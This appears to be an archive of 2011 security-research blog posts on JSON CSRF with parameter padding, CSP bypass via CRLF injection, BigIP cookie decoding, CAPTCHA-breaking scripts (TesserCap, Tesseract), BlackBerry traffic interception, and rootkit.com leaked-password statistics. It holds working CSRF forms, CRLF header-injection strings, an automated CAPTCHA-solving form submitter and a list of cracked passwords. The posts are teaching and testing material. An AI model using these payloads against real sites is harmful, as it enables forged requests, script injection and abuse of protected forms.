Thursday, December 22, 2011

JSON CSRF with Parameter Padding


JavaScript Object Notation (JSON) format is one of the prominent data exchange formats of the contemporary web applications. When a web application implements JSON, Cross Site Request Forgery (CSRF) payload delivery gets bit tricky because of query string and JSON format mismatch. With couple of tricks however, we can successfully execute CSRF attacks with JSON payloads.

Let’s assume that the browser sends the following JSON to the web server.
{"a":1,"b":{"c":3}}

Scenario 1: One of the mechanisms to execute JSON CSRF is to use the entire JSON payload as parameter name in a self submitting form. For example, loading the HTML code below and clicking the submit button sends malicious JSON to the web server:
  1. <html>
  2. <form action=http://192.168.1.41:3000 method=post enctype="text/plain" >
  3. <input name='{"a":1,"b":{"c":3}}' type='hidden'>
  4. <input type=submit>
  5. </form>
  6. </html>


At line# 2, the enctype form attribute is set to text/plain so that the JSON gets delivered as is. The enctype attribute may not be required, but is good to have. At line# 3, entire JSON payload is provided as a parameter name. When the form gets posted, the payload is delivered and CSRF executes.

Image below shows JSON payload delivery with the technique described above.














This technique may fail in some cases when the server side JSON parsers reject the incoming JSON because of the trailing ‘=’ character.

Scenario 2: JSON Parameter Padding to the rescue
In scenario 1, the trailing ‘=’ character may ruin the party when server side JSON parsers enforce strict parsing rules. To overcome this, an additional parameter can be padded towards the end of JSON payload to send a well formed JSON. Similar to GET & POST parameter processing, JSON parsers will successfully parse the JSON, pick the required parameters and ignore the extraneous ones. This allows a successful CSRF attack against vulnerable web applications. 

Below, the HTML code in scenario 1 is modified to add an extraneous parameter to the JSON payload:
  1. <html>
  2. <form action=http://192.168.1.41:3000 method=post enctype="text/plain" >
  3. <input name='{"a":1,"b":{"c":3}, "ignore_me":"' value='test"}'type='hidden'>
  4. <input type=submit>
  5. </form>
  6. </html>


At line# 3, the component in red is the original JSON and the blue component helps add the extraneous parameter to the JSON payload. The screenshot below shows the JSON payload delivered when the above HTML is executed. The ignore_me parameter absorbs the trailing '=' character and has a value "=test". 

The end result, successful server side JSON Parsing and CSRF goodness :)

Image shows a well formed JSON sent using parameter padding

It is important to note that the discussed attack vectors may not work if the server validates the “Content-Type” request header to represent a JSON payload.



Sunday, December 18, 2011

Decoding BigIP Cookie

BigIP cookie contains internal network IP and port information in encoded format. When decoded, these cookies can help create an internal network map with potential web server IPs and their ports.

F5 has described the encoding algorithm here. It works like this:
  1. If the IP address is a.b.c.d, it is encoded as d*256^3 + c*256^2 + b*256 +a
  2. To encode the port is to take the two bytes that store the port and reverse them. Thus, port 80 becomes 80 * 256 + 0 = 20480. Port 1433 (instead of 5 * 256 + 153) becomes 153 * 256 + 5 = 39173.
  3. These values are combined into cookie as <Encoded IP Address>.<Encoded Port Address>.<Componenet we are not concerned about>
These decoding mechanisms are packed into the following ruby script:
#!/usr/bin/ruby
#Cookie: BIGipcookie => 404007104.20480.0000
#Cookie: BIGipcookie => 404007104.39173.0000
if (ARGV.length == 0)
  $stderr.puts "No input provided. Run as \n\tbigip.rb BigIP Cookie Value"
  exit
end
ips = ARGV[0].split(".") 
encoded_val = ips[0].to_i
port_val = ips[1].to_i
ip = []
port = []
4.times do
  ip << encoded_val%256
  encoded_val /= 256
end
2.times do 
  port << port_val%256
  port_val /= 256
end
puts "IP Address : #{ip.join(".")}"
puts "Port       : #{port[0]*256 + port[1]}"

A Sample bigip.rb run

Monday, November 28, 2011

Evading Content Security Policy With CRLF Injection

Content Security Policy (CSP) was developed with the aim of reducing content injection attacks like Cross Site Scripting. CSP allows the developers to specify the permitted content sources for their web applications and relies on HTTP response headers to enforce content restrictions.

When CSP is implemented by the web application and supported by the web browser, content injection attacks can be performed by:

  1. Exploiting flaws in browser CSP implementation
  2. Manipulating HTTP response headers.

CRLF injection is one possible technique by which an attacker can control HTTP response headers. If client provided parameters are returned in response headers without any validation, CRLF injection can be used to bypass CSP restrictions.

For demonstrations, two web pages were setup with the following content at two different origins
Webpage 1: http://localhost:3000/csp
Content:
http://localhost:3333/xss.js

Webpage 2: http://localhost:3333/xss.js
Content:
alert('XSS’)


CRLF Injection and CSP:
If a HTTP response contains same HTTP header multiple times, different browsers interpret the headers  differently. Certain browsers interpret the first occurrence of the HTTP header, others choose the last one. Hence, positioning of CSP directive (X-Content-Security-Policy) in application response can play an interesting role. In the discussion below, we assume that the web application implements CSP and is vulnerable to CRLF injection:

Case 1: Attack vector is returned before the CSP header in the HTTP response headers:
Case 1a: If the browser picks the first occurrence of the CSP header, CRLF injection can then be used to insert a CSP header with following attack vector:

lang=en_US%0d%0aX-Content-Security-Policy: allow *

In this case, the web browser will interpret the first CSP header and will happily retrieve content from any malicious URL.

Image shows malicious CSP directive inserted before the legitimate header 

Case 1b: If the browser picks the last occurrence of the CSP header, following CRLF injection attack vector can be used to insert custom CSP header.

lang=en_US%0d%0aX-Content-Security-Policy: allow *%0d%0a%0d%0a

Two trailing occurrences of CRLF will push the CSP directive into the content and will not be interpreted as a CSP directive. This again allows attacker to bypass CSP protection and execute and source arbitrary content.


Image shows CSP directive pushed out to response body and rendered ineffective 

Case 2: Attack vector is returned after the CSP header in the HTTP response headers
Case 2a: If the browser picks the first occurrence of the CSP header, the CSP directive cannot be overridden for the current resource. For an attack to function one has to look into the possibility of exploiting HTTP Response Splitting.

Case 2b: If the browser picks the last occurrence of the CSP header, CRLF injection can be used to insert a malicious header similar to case 1a.

lang=en_US%0d%0aX-Content-Security-Policy: allow *

This will cause the browser to interpret the CSP directive as allow * to retrieve content from arbitrary URLs.

It was observed that when more than one X-Content-Security-Policy headers were received by Firefox (7.0.1), it securely defaulted to same origin policy for all content.

The POC below pushes the headers out to the response body by two CRLF sequences to achieve script execution.

Image shows script execution prevented from a different origin (http://localhost:3333)
Image shows successful script execution when the page was vulnerable CRLF injection


Thursday, November 17, 2011

CAPTCHA Hax With TesserCap

This blog post was voted as 8th best in Top 10 Web Hacking Techniques of 2011 poll.

With the goal of creating a tool that can help security professionals and developers to test their CAPTCHA schemes, I conducted a research on over 200 high traffic websites and several CAPTCHA service providers listed on Quantcast’s Top 1 Million Ranking Websites.

During the same time frame, students at the Stanford University also conducted a similar research (PDF). Both research works concluded the obvious:

An alarming number of CAPTCHAs schemes are vulnerable to automated attacks.

I looked around, tested and zeroed in on Tesseract-OCR as my OCR engine. To remove color complexities, spatial irregularities, and other types of random noise from CAPTCHAs, I decided to write my own image preprocessing engine. After a few months of research, coding and testing in my spare time, TesserCap was born and is ready for release now.

TesserCap is a GUI based, point and shoot CAPTCHA analysis tool with the following features:
  1. A generic image preprocessing engine that can be configured as per the CAPTCHA type being analyzed.
  2. Tesseract-OCR as its OCR engine to retrieve text from preprocessed CAPTCHAs.
  3. Web proxy support
  4. Support for custom HTTP headers to retrieve CAPTCHAs from websites that require cookies or special HTTP headers in requests
  5. CAPTCHA statistical analysis support
  6. Character set selection for the OCR Engine
An example TesserCap image preprocessing and run on Wikipedia (Wikimedia’s Fancy CAPTCHA) is shown below:



Downloads

TesserCap and it's user manual can be downloaded from one of the following locations:

Results

The two tables below summarize the CAPTCHA analysis performed using TesserCap for few popular websites and some CAPTCHA service providers. All these tests were performed using TesserCap’s image preprocessing module and Tesseract-OCR’s default training data.







Website Accuracy* Quantcast Rank
wikipedia 20-30% 7
ebay 20-30% 11
reddit.com 20-30% 68
CNBC 50+% 121
foodnetwork.com 80-90% 160
dailymail.co.uk 30+% 245
megaupload.com 80+% 1000
pastebin.com 70-80% 32,534
cavenue.com 80+% 149,645




CAPTCHA Provider Accuracy*
captchas.net 40-50%
opencaptcha.com 20-30%
snaphost.com 60+%
captchacreator.com 10-20%
www.phpcaptcha.org 10-20%
webspamprotect.com 40+%
ReCaptcha 0%



*This accuracy maybe further increased by training the Tesseract-OCR engine for the CAPTCHAs under test.

Wikipedia






OpenCaptcha Preprocessing






OpenCaptcha Sample Run




Reddit




eBay

Friday, June 17, 2011

Intercepting Blackberry Application Traffic


Intercepting mobile traffic is one of the key areas of mobile application penetration testing and Blackberry mobile applicatiosn are no different. In this post, we will look at methods of intercepting blackberry application traffic.

It is important to note that the standalone blackberry simulator does not offer any mechanism to route HTTP traffic over a web proxy. To use a web proxy for traffic interception, one has to use blackberry device simulator + MDS and email simulator. Assuming you have both installed, following steps will allow you to intercept blackberry web traffic.

Case 1: Routing HTTP traffic via web proxy:

  1. Browse to "\Program Files\Research In Motion\BlackBerry Email and MDS Services Simulators #.#.#\MDS\config"
  2. Open the rimpublic.property file
  3. Under the HTTP HANDLER section, add your web proxy configuration information:
application.handler.http.proxyEnabled=true
application.handler.http.proxyHost=<your proxy address>
application.handler.http.proxyPort=<your proxy port>

The following image shows the rimpublic.property file HTTP HANDLER section for fiddler running on port 8888 on localhost.

Web Proxy Configuration
More details on proxy configuration can be seen here. Once you save these settings and launch MDS simulator, you will be able to monitor, intercept and modify all HTTP traffic. However, we still need to put in some extra work for SSL traffic.


Image shows HTTP traffic captured for google.com


Case 2: Routing HTTPS traffic via web proxy:
The above mentioned configuration was not successful when attempted on SSL traffic. It was time for some workaround and I thought of using a reverse proxy. The idea of using reverse proxy had some limitations but it worked seamlessly and allowed me to intercept SSL traffic for a particular domain. To demonstrate this concept, I will be using Charles Proxy's Reverse Proxy. You can use any reverse proxy of your own choice. Lets configure the Charles proxy now.
  1. Obtain the IP address to which the application/browser talks
  2. Obtain the IP for the target domain. nslookup for mail.google.com revealed four DNS entries(74.125.226.184, 74.125.226.182, 74.125.226.181, 74.125.226.183) and one of them was chosen to be destination for reverse proxy settings. See the screenshots below for Charles Reverse Proxy settings.
  3. In the hosts file make an entry to forward all the target domain address to the IP at which reverse proxy is hosted. In our case, I entered the following for mail.google.com
    127.0.0.1 mail.google.com
  4. Now launch your browser and access https://mail.google.com
  5. The blackberry simulator will issue a certificate error. Choose the "Trust Certificate" option, provide certificate store password and  the save your settings.
  6. All the traffic will be routed via Charles now. Enjoy!

To summarize reverse proxy settings (Two sets of entries):
Entry 1: To ensure that all SSL traffic is forwarded to mail.google.com:443
Listening on : 127.0.0.1:443
Forwarding to: 74.125.226.181:443 #one

Entry 2: To ensure that all plain HTTP is forwarded too
Listening on : 127.0.0.1:80
Forwarding to: 74.125.226.181:80
Image shows reverse proxy settings in Charles

Image shows the certificate error issued when https://mail.google.com is access via reverse proxy. Choosing the "Trust Certificate" options allows SSL traffic to be intercepted.

Saturday, March 19, 2011

Breaking A Weak CAPTCHA implementation

A while back I came across a web application that implemented captcha to prevent automated form entries. The captcha was weak and could be easily solved. Below I summarize the steps followed and provide sample ruby scripts that were used to perform automated form submissions. The page names, form fields etc... are fictitious and do not reflect the exact application data/behavior.


So lets get started. Here is one sample captcha obtained from the website.




My first thought was to try the free "OCR to text" conversion service provided by guys at Free-Ocr. I uploaded few captchas to the website and it could successfully solve almost all of them. One solved capcha is shown below.




Now I knew that the CAPTCHA can be solved, and needed a way to automate the process of solving the captcha. I turned to Tesseract to do that for me. Tesseact enjoys the reputation of being one of the most accurate open source OCR engines available.


Tesseact was downloaded and installed on a windows box. The page requiring captcha input was sourcing captcha's from a php script on the web server. Lets say its path is http://www.test.com/get_captcha.php. The following script helped download a sample captcha, stored it on local file system and then solved it. 


require 'net/http'
tesseract = 'C:\Tesseract-OCR\tesseract.exe'
q = Net::HTTP.new('www.test.com',80)
# Download new captcha
r = q.get("/get_captcha.php")
File.open("captcha.bmp",'wb') do |f|
f.puts r.body
end
# Solve the CAPTCHA
system("#{tesseract} captcha.bmp captcha") #Output gets stored in captcha.txt

Most of the sourced captchas could be successfully solved using the script above. Good! 

The next obvious step was to automate the entire process of form submissions. The application used PHPSESSIONID to associate captchas with sessions. http://www.test.com/home.php was issuing the PHPSESSIONID and the same sesssion value was being sent to /get_captcha.php to retrieve a captcha. To automated the process, following was required:
  1. GET /home.php page and capture the value of PHPSESSIONID.
  2. Retrieve a captcha by accessing /get_captcha.php while using the captured PHPSESSIONID.
  3. Solve the captcha locally
  4. POST the form fields along with PHPSESSIONID and the captcha value
A few more lines to the script above would serve our purpose. The final script looked like below:


require 'net/http'
tesseract = 'C:\Tesseract-OCR\tesseract.exe'
q = Net::HTTP.new('www.test.com',80)
r = q.get("/home.php")
r['set-cookie'] =~ /PHPSESSIONID=(.*?);/
hdr = {'Cookie' => "PHPSESSIONID=#{$1}"}
#get a captcha associated with a valid PHPSESSIONID and solve it
r = q.get("/get_captcha.php",hdr)
File.open("captcha.bmp",'wb') do |f|
f.puts r.body
end
system("#{tesseract} captcha.bmp captcha")
#retrive the captcha value and POST the form details along with valid PHPSESSIONID
captcha = File.read("captcha.txt").strip
q.post('/save_details.php', "fname=gursev&lname=kalra&captcha=#{captcha}" , hdr)



Further Analysis:
The captcha implementation appeared to have more issues. During the analysis around 100 captchas were solved and their values analyzed. Here are the the various observations:
  1. Captchas contained only numerals and hence lesser number of possible combinations.
  2. Out of 100 captchas around 4 duplicate captchas were identified. Thats around 4% of total captchas issued.
  3. Captchas had uneven character distribution with 4's and 5's getting the maximum share of captcha characters. The distribution formed a bell curve with a peak at 4 and 5.

Monday, February 14, 2011

SSLSmart v1.0 Released

Back in 2009, I went to local OWASP chapter meet and presented on SSL Cipher enumeration script that I was using to enumerate SSL Ciphers for my assessments. Feedback was good but soon other things piled up and the script got burried. Later I realized the need for evolving the concept into an open source and cross platform free tool; named it SSLSmart.

SSLSmart was released last month and tool can be downloaded from here (Packetstorm). If you are interested to look at the whitepaper before downloading the entire zip file, you can obtain it from here (Packetstorm).

Here is how a sample SSLSmart run looks like:

Sunday, February 13, 2011

Rootkit.com Password Analysis

rootkit.com succumbed to a social engineering attack and more than 42000 of its user's passwords were made available on internet in clear (here). John the Ripper was used to recover the passwords. Out of curiosity, I analyzed certain aspects of passwords. The results of that analysis are shared below:

Password Lengths: The shortest password in the list was 1 character long and longest was 20 characters in length. A whopping 38.74% passwords were 6 characters in length. Here is the distribution of password lengths:

Length Occurences Percentage
1 16 0.04%
2 20 0.05%
3 270 0.64%
4 1444 3.41%
5 2646 6.24%
6 16424 38.76%
7 8258 19.49%
8 9786 23.09%
9 2029 4.79%
10 971 2.29%
11 250 0.59%
12 157 0.37%
13 62 0.15%
14 23 0.05%
15 8 0.02%
16 3 0.01%
17 1 0.00%
18 0 0.00%
19 2 0.00%
20 4 0.01%

Password Entropy:
Entropy of various cracked passwords was calculated using Eric Monti's rbkb's entropy function that performs chi-square calculation. Clearly, higher the entropy, lesser chances that your password will be guessed or cracked. Having said that, how easy is to remember and key in the passwords that are extremely random and are more than 16 characters in length?

Entropy Count
0 to <1 1620
1 to <2 7388
2 to <3 32071
3 to <4 1292
4 to <5 3
5 to <6 0
6 to <7 0



Cracked Passwords with Highest Entropy: 
Certain cracked passwords had entropy in excess of 4 bits. Table below lists down the cracked passwords with highest entropy. A good dictionary allowed JTR to crack most of the passwords.

# Entropy Password
1 4.321928095 q1w2e3r4t5y6u7i8o9p0
2 4.321928095 1234567890qwertyuiop
3 4.321928095 1q2w3e4r5t6y7u8i9o0p
4 4 1234qwerasdfzxcv
5 3.807354922 abcdefg1234567
6 3.700439718 qwertyuiop123
7 3.700439718 superman12345
8 3.700439718 1qazxcvbnm,./
9 3.664497779 kingoftheworld
10 3.664497779 qwertyuiop[]\\
11 3.584962501 !@#$%^&*()_+
12 3.584962501 fucktheworld
13 3.584962501 1q2w3e!Q@W#E
14 3.584962501 qazxswedcvfr
15 3.584962501 123qweasdzxc
16 3.584962501 1qazxsw23edc
17 3.584962501 q1w2e3r4t5y6
18 3.584962501 asdfghjkl;\'
19 3.584962501 qwerty123456
20 3.584962501 4rfv5tgb6yhn
21 3.584962501 qwe123rty456
22 3.584962501 1qaz2wsx3edc
23 3.584962501 1a2b3c4d5e6f
24 3.584962501 123456qwerty
25 3.584962501 1q2w3e4r5t6y


Password Distribution:
Finally, I looked at password distribution. An overwhelming 51% of cracked passwords were only in lowercase, this was followed by only numeric passwords close to 24%. Passwords using uppercase alphabets along with numerics were least favorite.

Password Type Percentage Share
Only Lowercase 51.81
Lowercase AND Numerals 23.92
Only Numeric 19.9
Alphabets (Uppercase AND Lowercase) 1.32
Alphanumeric 1.25
Passwords With Special Characters 1.11
Only Uppercase 0.45
Uppercase AND Numerals 0.24